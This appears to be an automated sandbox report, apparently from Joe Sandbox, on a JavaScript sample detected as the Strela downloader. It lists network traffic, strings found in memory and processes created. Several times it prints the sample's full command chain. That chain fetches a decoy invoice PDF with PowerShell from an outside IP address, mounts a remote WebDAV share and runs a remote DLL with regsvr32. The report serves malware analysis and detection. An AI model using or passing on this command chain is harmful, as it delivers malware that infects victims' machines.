39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: global traffic

TCP traffic: 192.168.2.7:49701 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:56682 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000004.00000002.1281910244.000001C14BD14000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000004.00000003.1279466661.000001C14BD2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1357042305.000002ADAB948000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1357042305.000002ADAB948000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/;
Source: net.exe, 0000000C.00000002.1357042305.000002ADAB948000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/?
Source: net.exe, 0000000C.00000002.1357042305.000002ADAB918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 0000000E.00000002.2561588799.000002B53348E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.1353885390.000002B533320000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.14.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4324, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 18203107951121827015.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1292:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h0op2o0t.eij.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 18203107951121827015.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18203107951121827015.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1740,i,660562272891007411,15319704297293168881,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1569654911501.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1740,i,660562272891007411,15319704297293168881,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
